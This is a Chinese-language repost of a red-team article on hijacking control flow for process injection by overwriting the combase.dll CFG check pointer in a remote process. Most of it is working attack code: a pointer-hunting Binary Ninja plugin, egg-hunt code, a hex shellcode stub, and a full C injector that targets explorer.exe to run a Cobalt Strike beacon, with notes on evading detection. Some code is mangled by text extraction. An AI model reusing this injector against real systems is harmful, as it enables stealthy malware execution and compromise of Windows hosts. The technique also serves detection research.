通过数据指针进行控制流劫持

admin 2025年4月21日23:51:09评论0 views字数 16114阅读53分42秒阅读模式

通过数据指针进行控制流劫持

在执行进程注入时,构成行为特征的最重要的 IOC 之一就是将执行权交给我们的 Shellcode。虽然实现这一目标的技术有很多,而且这当然不是什么纯粹的“新”技术——但在这篇文章中,我不仅想展示一种“新的 PoC 技术”,还想展示我经历的整个过程,希望这能成为能力开发人员技能组合的有力补充。

自从@_EthicalChaos_发布ThreadlessInject以来,我一直很喜欢通过系统上的各种指针来劫持控制流,特别是那些标记为可读和可写的内存区域中的指针,因为它可以避免诸如及其替代方案之类的嘈杂调用VirtualProtect。

什么是数据指针?

我所说的“数据指针”只是二进制可读可写内存部分中的一个值,它指向代码要调用的函数。

举一个简单的例子,我们来看下面的源代码:

#include<Windows.h>
#include<stdio.h>

volatile FARPROC pointer = 0;

volatileintfunc(void)
{
return0;
}

intmain(void)
{
  pointer = (FARPROC)func;

printf(
    "pointert@ 0x%016llxn"
    "funct@ 0x%016llxn",
    func, pointer);

  pointer();
return0;
}

对于那些不熟悉的人来说,您volatile现在可以忽略源代码中的关键字,它在这里的唯一目的是阻止编译器优化该func函数。

如你所见,我们有一个全局变量pointer,它在运行时被设置为指向该func函数。稍后会在调用func后使用它来执行printf。简而言之,如果我们可以覆盖pointer,我们就可以控制该pointer()行执行哪些代码。通过查看可执行文件的反编译结果可以进一步说明这一点。

通过数据指针进行控制流劫持

枚举可劫持数据指针

此过程的第一步是选择目标二进制文件,以在其中搜寻劫持行为。对于我的目标(进程注入),我选择的是目标二进制文件,KnownDlls因为它们不仅是系统中常用的DLL,而且在每个进程中都加载到相同的虚拟基址。这意味着我们可以简单地在加载器进程的内存中找到指针,然后对远程进程执行一次写入操作即可实现劫持。

手工查找

我最初开始研究,ntdll.dll是因为我认为如果能找到并劫持一个常用的调用指针,就意味着我几乎可以劫持系统上任何进程的控制流。这里没有什么魔法,我只是手动检查了该.data部分中每个条目的引用ntdll,直到在 Binary Ninja 中找到调用引用。

如下所示,这里有一些示例性(尽管不是很有用)的指针,这些指针可以被覆盖以劫持对RtlpDebugPageHeapCreate、RtlpDebugPageHeapDestroy和 的调用(在极少数情况RtlCreateHeap下)RtlDestroyHeap。

通过数据指针进行控制流劫持

您可能已经注意到,这会耗费大量时间,但可以通过多种方式实现自动化。

自动查找

为了自动找到这些指针,我们需要执行以下操作之一:

  • 列举参考值作为.data说明call

  • jmp rax找到我们可以在该部分中搜索的代码模式(例如指令) .text。

第一种方法更可行,但是在编写该插件时,我在枚举代码引用时遇到了二进制忍者 API 的问题,因此我选择了第二种方法。

如果我们看一下示例可劫持指针的 LLIL(低级解释语言)ntdll.dll,我们将看到以下<return> tailcall(rax)模式。

通过数据指针进行控制流劫持

这是各种可劫持指针中相当一致的模式,因此我编写了一个小型(写得很糟糕)的 Binary Ninja 插件来枚举此模式,并检查 rax 中的值是否在该.data部分内并将输出打印到日志中。

import os
from binaryninja import *


defscan(bv: BinaryView) -> None:
    data_section: Section = bv.sections.get(".data")
    if data_section == None:
        print("Failed to find .data section")
        return
    
    data_start = data_section.start
    data_end = data_section.end
    
    for func in bv.functions:
        try:
            for block in func.llil.basic_blocks:
                instructions = list(block)
                if str(instructions[-1]) == "<return> tailcall(rax)":
                    ops = instructions[0].operands
                    if ops[0] == "rax":
                        data_ptr = ops[1].src.value.value
                        if data_ptr < data_start or data_ptr > data_end:
                            continue
                        print(f".data hijack: [{func.name}] ptr: @{hex(data_ptr)} (.data offset: {hex(data_ptr - data_start)})")
        except ILException:
            print(f"Could not load llil for function {func.name}")
    return


# Init & register the plugin
PluginCommand.register("DataHijack\Scan Hijacks""Scan for hijacks", scan)

运行此命令ntdll.dll将产生以下输出,它实际上向我们展示了我们手动找到的指针:

[ScriptingProvider].datahijack[RtlpDebugPageHeapDestroy]ptr: @0x180166420 (.data offset0x420)
在尝试了各种目标 DLL 之后,我最终偶然发现了这些控制流保护指针combase.dll,

通过数据指针进行控制流劫持

我们感兴趣的目标指针是__guard_check_icall_fptr被大约 2000 个函数引用的,这些函数由 MIDL 编译器自动生成,作为 COM 代理的存根函数。点击此处了解更多信息。

通过数据指针进行控制流劫持

编写概念证明

现在我们有了目标指针(combase.dll!__guard_check_icall_fptr),就可以开始编写概念验证了。为了方便理解,我们将以进程注入的形式进行演示。概念验证需要执行以下操作:

  1. 定位当前进程内存中的目标指针

  2. 构建 Shellcode 存根以确保有效载荷的干净、无阻塞执行

  3. 将存根和 shellcode 写入目标进程

  4. 覆盖远程进程中的指针

在内存中定位指针

由于我们的目标二进制文件位于内KnownDlls,我们可以在我们自己的进程中定位指针,因为它将位于我们目标进程中的相同基地址。

第一步是找到目标二进制文件的基地址,因为这只是一个概念证明,我们可以用它LoadLibrary来做到这一点。

HMODULE combase = LoadLibraryA("combase.dll");

接下来是更难的部分。我们需要在内存中找到该指针的地址,同时还要确保我们的 POC 函数能够跨 Windows 版本运行。幸运的是,其中一些NdrProxy函数由 combase 导出,因此我们可以在其中寻找指针。

FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);

由于我们希望它能够跨版本工作,因此我们不会使用二进制基数的静态偏移量,而是使用突出显示的指令在内存中定位引用并以此方式进行解析。

通过数据指针进行控制流劫持

需要注意的是,最后一条指令(call)是基于 的相对调用rip。因此,我们需要获取这个偏移量,并将其添加到内存中下一条指令的地址,以计算指针的位置。

对于那些不太熟悉汇编的人,我建议尝试一下Defuse 的在线汇编程序

在这种情况下,我们可以看到ff 15对应于调用指令的类型,并且e7 c3 17 00是小端格式的偏移量。

ff 15 e7 c3 17 00 call QWORD PTR [rip+0x17c3e7]

现在我们知道了我们的蛋,我们可以按如下方式定义和寻找它,我们将使用 VX-API 中的 EggHunt 函数(感谢 vx-underground <3):

//
// Search a region of memory for an egg. Returns NULL on failure.
//
PVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength)
{
    if (!RegionStart || !RegionLength || !Egg || !EggLength)
        returnNULL;

    for (CHAR* pchar = (CHAR*)RegionStart; RegionLength >= EggLength; ++pchar, --RegionLength)
    {
        if (memcmp(pchar, Egg, EggLength) == 0)
            return pchar;
    }
    returnNULL;
}

intmain(void)
{
    HMODULE combase = LoadLibraryA("combase.dll");
    
    FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
    LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);

    BYTE egg___guard_check_icall_fptr[] = {
        0x4c0x8b0x11// mov r10, qword [rcx]
        0x490x8b0x4a0x68// mov rcx, qword [r10+0x68]
        0xff0x15               // call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
        // next 4 bytes are the offset
    };

    BYTE* egg_location = (BYTE*)EggHunt(NdrProxyForwardingFunction13, 256, egg___guard_check_icall_fptr, sizeof(egg___guard_check_icall_fptr));
    if (!egg_location)
    {
        LOG_ERROR("Failed to locate __guard_check_icall_fptr call offset @ combase.dll!NdrProxyForwardingFunction13");
        return;
    }
    BYTE* egg_end = egg_location + sizeof(egg___guard_check_icall_fptr);
    LOG_INFO("combase.dll!__guard_check_icall_fptr egg @ %p", egg_location);
    LOG_INFO("combase.dll!__guard_check_icall_fptr egg_end @ %p", egg_end);

  DWORD offset = *(DWORD*)egg_end;
    LOG_INFO("combase.dll!__guard_check_icall_fptr call offset => 0x%08lx", offset);
    FARPROC* __guard_check_icall_fptr = (FARPROC*)(egg_end + offset + sizeof(DWORD));
    FARPROC _guard_check_icall_nop = *__guard_check_icall_fptr;
    LOG_SUCCESS("combase.dll!__guard_check_icall_fptr @ %p", __guard_check_icall_fptr);
    LOG_SUCCESS("combase.dll!_guard_check_icall_nop @ %p", _guard_check_icall_nop);
}

运行测试得到以下输出,确认我们已成功在内存中定位指针:

通过数据指针进行控制流劫持

将 Shellcode 写入目标进程

由于本文的目的并非使进程注入的这一特定部分“隐秘”,因此我们将仅使用VirtualAllocEx和WriteProcessMemoryWinAPI 来实现。0xc0是存根的大小,四舍五入到最接近的 16 字节,以确保所有内容正确对齐。

BYTE* base_address = (BYTE*)VirtualAllocEx(process, NULLsizeof(shellcode) + 0xc0, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, base_address, shellcode, sizeof(shellcode), NULL);

覆盖目标进程中的指针

为了测试的目的,我将使用explorer.exe。这是因为Explorer是一个相对安全的进程,即使崩溃(它会自行重启),并且它严重依赖于COM代理,因此即使右键单击也会触发我们的控制流劫持。

至于实际编写指针,我们将再次使用WriteProcessMemory如下方法。你可能注意到了VirtualProtect这里使用了指针,这是因为我们在.rdata这篇文章中使用了一个指针,因为我不想烧掉其他指针。找到更好的指针留给读者自己去寻找,你可以使用这种方法将许多指针武器化。

DWORD oldprotect = NULL;
BOOL success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprotect);
WriteProcessMemory(process, __guard_check_icall_fptr, &base_address, sizeof(PVOID), NULL);
success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), oldprotect, &oldprotect);

此时,我们可以对 POC 进行快速测试,并且我们已经可以执行 shellcode!

通过数据指针进行控制流劫持

然而有两个问题:

  • 执行 shellcode 后,目标进程崩溃或挂起

  • 执行后不会恢复指针,这意味着可能会捕获多个 shell,从而产生不必要的噪音

编写 Shellcode 存根

我们的 shellcode 存根将执行以下操作:

  1. 恢复原始指针值以防止多次回调

  2. 在新线程中执行有效载荷

  3. 干净地返回到原始状态

为了节省大量时间并利用编译器优化,我们实际上可以只编写 C 代码并通过非 MSVC 编译器进行编译,以便编译出与位置无关的代码。我们可以使用 来实现这一点,如下所示x86_64-w64-mingw32-gcc。

源代码

voidstub(void)
{
    // save registers
    asm(
        "push raxn"
        "push rdin"
        "push rcxn"
        "push rdin"
        "push rsin"
        "push r8n"
        "push r9n"
        "push r10n"
        "push r11n"
        "push r12n"
        "push r13n"
    );

    // placeholder variables that we will replace in the loader
    tVirtualProtect VirtualProtect = (tVirtualProtect)0x1111111111111111;
    tCreateThread CreateThread = (tCreateThread)0x2222222222222222;
    FARPROC* icall_fptr = (FARPROC*)0x3333333333333333;
    FARPROC icall_fptr_orig = (FARPROC)0x4444444444444444;
    DWORD oldprot = 0;

    // restore original pointer value
    VirtualProtect(icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprot);
    *icall_fptr = icall_fptr_orig;
    VirtualProtect(icall_fptr, sizeof(FARPROC), oldprot, &oldprot);

    // create thread starting at shellcode address
    CreateThread(NULLNULL, (LPTHREAD_START_ROUTINE)0x5555555555555555NULLNULLNULL);

    // restore register values
    asm(
        "pop r13n"
        "pop r12n"
        "pop r11n"
        "pop r10n"
        "pop r9n"
        "pop r8n"
        "pop rsin"
        "pop rdin"
        "pop rcxn"
        "pop rdin"
        "pop raxn"
    );

// return 0, as that's what the original function did.
    return0;
}

编译命令行


x86_64-w64-mingw32-gcc -fPIC -masm=intel ./stub.c -o stub.exe

然后我们可以stub使用反汇编程序从可执行文件中提取函数,为此我使用了 Binary Ninja 的bv.readAPI,它允许我们从地址范围读取原始字节。

bv.read(0x140001530, 0x1400015e6 - 0x140001530 + 1).hex()

'4154534883ec5850575157564150415141524153415441554c8d4c244cc744244c00000000ba0800000049bc33333333333333334c894c24384c89e141b80400000048bb1111111111111111ffd34c8b4c2438448b44244c4c89e148b84444444444444444ba0800000049890424ffd3c7442420000000004531c931d248c74424280000000031c949b8555555555555555548b82222222222222222ffd0585f595f5e41584159415a415b415c415d4883c4585b415cc3'

现在我们有了这些,我们可以替换占位符值,然后将其写入目标进程内存中有效载荷之前。有效载荷将存储在 中allocated_address + 0xc0,因为我们需要一个 16 字节对齐的 Shellcode 基址。

BYTE stub[] = {
    0x41,0x54,0x53,0x48,0x83,0xec,0x58,0x50,0x57,0x51,0x57,0x56,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x4c,0x8d,0x4c,0x24,0x4c,0xc7,0x44,0x24,0x4c,0x00,0x00,0x00,0x00,0xba,0x08,0x00,0x00,0x00,
    0x49,0xbc,
    0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,
    0x4c,0x89,0x4c,0x24,0x38,0x4c,0x89,0xe1,0x41,0xb8,0x04,0x00,0x00,0x00,0x48,0xbb,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xff,0xd3,0x4c,0x8b,0x4c,0x24,0x38,0x44,0x8b,0x44,0x24,0x4c,0x4c,0x89,0xe1,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xba,0x08,0x00,0x00,0x00,0x49,0x89,0x04,0x24,0xff,0xd3,0xc7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x31,0xc9,0x31,0xd2,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x31,0xc9,0x49,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0xff,0xd0,0x58,0x5f,0x59,0x5f,0x5e,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0x41,0x5c,0x41,0x5d,0x48,0x83,0xc4,0x58,0x5b,0x41,0x5c,0xc3
};
HMODULE kernel32 = GetModuleHandleA("KERNEL32.DLL");
FARPROC _VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
FARPROC _CreateThread = GetProcAddress(kernel32, "CreateThread");
BYTE* shellcode_address = base_address + 0xc0;
memcpy(stub + 44, &__guard_check_icall_fptr, sizeof(FARPROC*));
memcpy(stub + 68, &_VirtualProtect, sizeof(FARPROC));
memcpy(stub + 93, __guard_check_icall_fptr, sizeof(FARPROC));
memcpy(stub + 138, &shellcode_address, sizeof(FARPROC));
memcpy(stub + 148, &_CreateThread, sizeof(FARPROC));

WriteProcessMemory(process, base_address, stub, sizeof(stub), NULL);
WriteProcessMemory(process, shellcode_address, shellcode, sizeof(shellcode), NULL);

将 shellcode 替换为 Cobalt Strike 信标,我们现在可以对其进行测试。

注意:避免使用 msfvenom 的windows/x64/execshellcode,因为它在执行后会使目标进程崩溃,并可能产生误导性的结果。

通过数据指针进行控制流劫持
完整源代码

#include <windows.h>
#include <stdio.h>

#pragma region [colour codes]

#define COLOUR_DEFAULT "33[0m"
#define COLOUR_BOLD "33[1m"
#define COLOUR_UNDERLINE "33[4m"
#define COLOUR_NO_UNDERLINE "33[24m"
#define COLOUR_NEGATIVE "33[7m"
#define COLOUR_POSITIVE "33[27m"
#define COLOUR_BLACK "33[30m"
#define COLOUR_RED "33[31m"
#define COLOUR_GREEN "33[32m"
#define COLOUR_YELLOW "33[33m"
#define COLOUR_BLUE "33[34m"
#define COLOUR_MAGENTA "33[35m"
#define COLOUR_CYAN "33[36m"
#define COLOUR_LIGHTGRAY "33[37m"
#define COLOUR_DARKGRAY "33[90m"
#define COLOUR_LIGHTRED "33[91m"
#define COLOUR_LIGHTGREEN "33[92m"
#define COLOUR_LIGHTYELLOW "33[93m"
#define COLOUR_LIGHTBLUE "33[94m"
#define COLOUR_LIGHTMAGENTA "33[95m"
#define COLOUR_LIGHTCYAN "33[96m"
#define COLOUR_WHITE "33[97m"

#pragma endregion

#pragma region [dprintf]

#if _DEBUG
#include <stdio.h>
#define dprintf(fmt, ...) printf(fmt, __VA_ARGS__)
#define LOG_SUCCESS(fmt, ...) printf(COLOUR_BOLD COLOUR_GREEN "[+]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_INFO(fmt, ...) printf(COLOUR_BOLD COLOUR_BLUE "[*]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_ERROR(fmt, ...) printf(COLOUR_BOLD COLOUR_RED "[!]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#define LOG_DEBUG(fmt, ...) printf(COLOUR_BOLD COLOUR_MAGENTA "[D]" COLOUR_DEFAULT " [" __FUNCTION__ "] " fmt "n", __VA_ARGS__)
#else
#define dprintf(fmt, ...) (0)
#define LOG_SUCCESS(fmt, ...) (0)
#define LOG_INFO(fmt, ...) (0)
#define LOG_ERROR(fmt, ...) (0)
#define LOG_DEBUG(fmt, ...) (0)
#endif

#pragma endregion

//
// Search a region of memory for an egg. Returns NULL on failure.
//
PVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength)
{
    if (!RegionStart || !RegionLength || !Egg || !EggLength)
        returnNULL;

    for (CHAR* pchar = (CHAR*)RegionStart; RegionLength >= EggLength; ++pchar, --RegionLength)
    {
        if (memcmp(pchar, Egg, EggLength) == 0)
            return pchar;
    }
    returnNULL;
}

VOID poc(INT pid)
{
    HMODULE combase = LoadLibraryA("combase.dll");
    
    FARPROC NdrProxyForwardingFunction13 = GetProcAddress(combase, "NdrProxyForwardingFunction13");
    LOG_INFO("NdrProxyForwardingFunction13 @ 0x%016llx", (size_t)NdrProxyForwardingFunction13);

    /*
    18021e30c 4c8b11 mov r10, qword [rcx]
    18021e30f 498b4a68 mov rcx, qword [r10+0x68]
    18021e313 ff159f6b0900 call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
    */

    BYTE egg___guard_check_icall_fptr[] = {
        0x4c0x8b0x11// mov r10, qword [rcx]
        0x490x8b0x4a0x68// mov rcx, qword [r10+0x68]
        0xff0x15               // call qword [rel __guard_check_icall_fptr] {_guard_check_icall_nop}
        // next 4 bytes are the offset
    };

    BYTE* egg_location = (BYTE*)EggHunt(NdrProxyForwardingFunction13, 256, egg___guard_check_icall_fptr, sizeof(egg___guard_check_icall_fptr));
    if (!egg_location)
    {
        LOG_ERROR("Failed to locate __guard_check_icall_fptr call offset @ combase.dll!NdrProxyForwardingFunction13");
        return;
    }
    BYTE* egg_end = egg_location + sizeof(egg___guard_check_icall_fptr);
    LOG_INFO("combase.dll!__guard_check_icall_fptr egg @ %p", egg_location);
    LOG_INFO("combase.dll!__guard_check_icall_fptr egg_end @ %p", egg_end);

    DWORD offset = *(DWORD*)egg_end;
    LOG_INFO("combase.dll!__guard_check_icall_fptr call offset => 0x%08lx", offset);
    FARPROC* __guard_check_icall_fptr = (FARPROC*)(egg_end + offset + sizeof(DWORD));
    FARPROC _guard_check_icall_nop = *__guard_check_icall_fptr;
    LOG_SUCCESS("combase.dll!__guard_check_icall_fptr @ %p", __guard_check_icall_fptr);
    LOG_SUCCESS("combase.dll!_guard_check_icall_nop @ %p", _guard_check_icall_nop);

    //
    // process injection stuff
    //
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // explorer.exe rn

    //
    // Allocate & write shellcode to target process.
    //
    BYTE* base_address = (BYTE*)VirtualAllocEx(process, NULLsizeof(shellcode) + 0xc0, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    BYTE stub[] = {
        0x41,0x54,0x53,0x48,0x83,0xec,0x58,0x50,0x57,0x51,0x57,0x56,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x4c,0x8d,0x4c,0x24,0x4c,0xc7,0x44,0x24,0x4c,0x00,0x00,0x00,0x00,0xba,0x08,0x00,0x00,0x00,
        0x49,0xbc,
        0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,
        0x4c,0x89,0x4c,0x24,0x38,0x4c,0x89,0xe1,0x41,0xb8,0x04,0x00,0x00,0x00,0x48,0xbb,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xff,0xd3,0x4c,0x8b,0x4c,0x24,0x38,0x44,0x8b,0x44,0x24,0x4c,0x4c,0x89,0xe1,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xba,0x08,0x00,0x00,0x00,0x49,0x89,0x04,0x24,0xff,0xd3,0xc7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x31,0xc9,0x31,0xd2,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x31,0xc9,0x49,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0xff,0xd0,0x58,0x5f,0x59,0x5f,0x5e,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0x41,0x5c,0x41,0x5d,0x48,0x83,0xc4,0x58,0x5b,0x41,0x5c,0xc3
    };
    HMODULE kernel32 = GetModuleHandleA("KERNEL32.DLL");
    FARPROC _VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
    FARPROC _CreateThread = GetProcAddress(kernel32, "CreateThread");
    BYTE* shellcode_address = base_address + 0xc0;
    memcpy(stub + 44, &__guard_check_icall_fptr, sizeof(FARPROC*));
    memcpy(stub + 68, &_VirtualProtect, sizeof(FARPROC));
    memcpy(stub + 93, __guard_check_icall_fptr, sizeof(FARPROC));
    memcpy(stub + 138, &shellcode_address, sizeof(FARPROC));
    memcpy(stub + 148, &_CreateThread, sizeof(FARPROC));

    WriteProcessMemory(process, base_address, stub, sizeof(stub), NULL);
    WriteProcessMemory(process, shellcode_address, shellcode, sizeof(shellcode), NULL);
    LOG_SUCCESS("Successfully wrote shellcode to target process");

    //
    // Overwrite CFG with PTR
    //
    DWORD oldprotect = NULL;
    BOOL success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &oldprotect);
    WriteProcessMemory(process, __guard_check_icall_fptr, &base_address, sizeof(PVOID), NULL);
    success = VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), oldprotect, &oldprotect);
    LOG_SUCCESS("Overwrote CFG, enjoy shell :)");
}

int main(int argc, char** argv)
{
    if (argc != 2)
    {
        LOG_ERROR(
            "Invalid usage!n"
            " Usage: %s <pid>",
            argv[0]
        );
        return-1;
    }
    INT pid = atoi(argv[1]);
    poc(pid);
return0;
}




感谢您抽出

通过数据指针进行控制流劫持

.

通过数据指针进行控制流劫持

.

通过数据指针进行控制流劫持

来阅读本文

通过数据指针进行控制流劫持

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):通过数据指针进行控制流劫持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日23:51:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过数据指针进行控制流劫持https://cn-sec.com/archives/3971871.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息